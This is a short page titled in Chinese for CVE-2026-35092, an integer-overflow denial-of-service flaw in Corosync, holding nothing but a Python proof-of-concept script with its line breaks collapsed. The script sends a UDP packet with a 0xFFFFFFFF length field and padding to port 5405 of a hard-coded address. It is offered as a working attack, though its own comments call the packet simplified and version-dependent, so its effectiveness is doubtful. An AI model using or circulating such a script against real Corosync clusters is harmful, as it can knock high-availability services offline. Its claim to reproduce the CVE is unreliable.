CVE-2026-35092 Corosync整数溢出拒绝服务漏洞

import socket import struct # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 5405 # Default Corosync port def send_exploit(): """ Sends a crafted UDP packet to trigger the integer overflow in Corosync's join message validation. """ try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Construct a malicious payload. # This payload simulates a join message with a malformed length field # intended to trigger the integer overflow vulnerability. # Note: Actual packet structure depends on the specific Corosync version. # Example header bytes (simplified for demonstration) header = b'\x00\x01' # Malicious data sequence causing the overflow # Using a large integer to simulate the overflow trigger overflow_trigger = struct.pack('>I', 0xFFFFFFFF) padding = b'A' * 1024 payload = header + overflow_trigger + padding print(f"[+] Sending crafted packet to {TARGET_IP}:{TARGET_PORT}") sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print("[+] Payload sent successfully.") except Exception as e: print(f"[-] An error occurred: {e}") finally: sock.close() if __name__ == "__main__": send_exploit()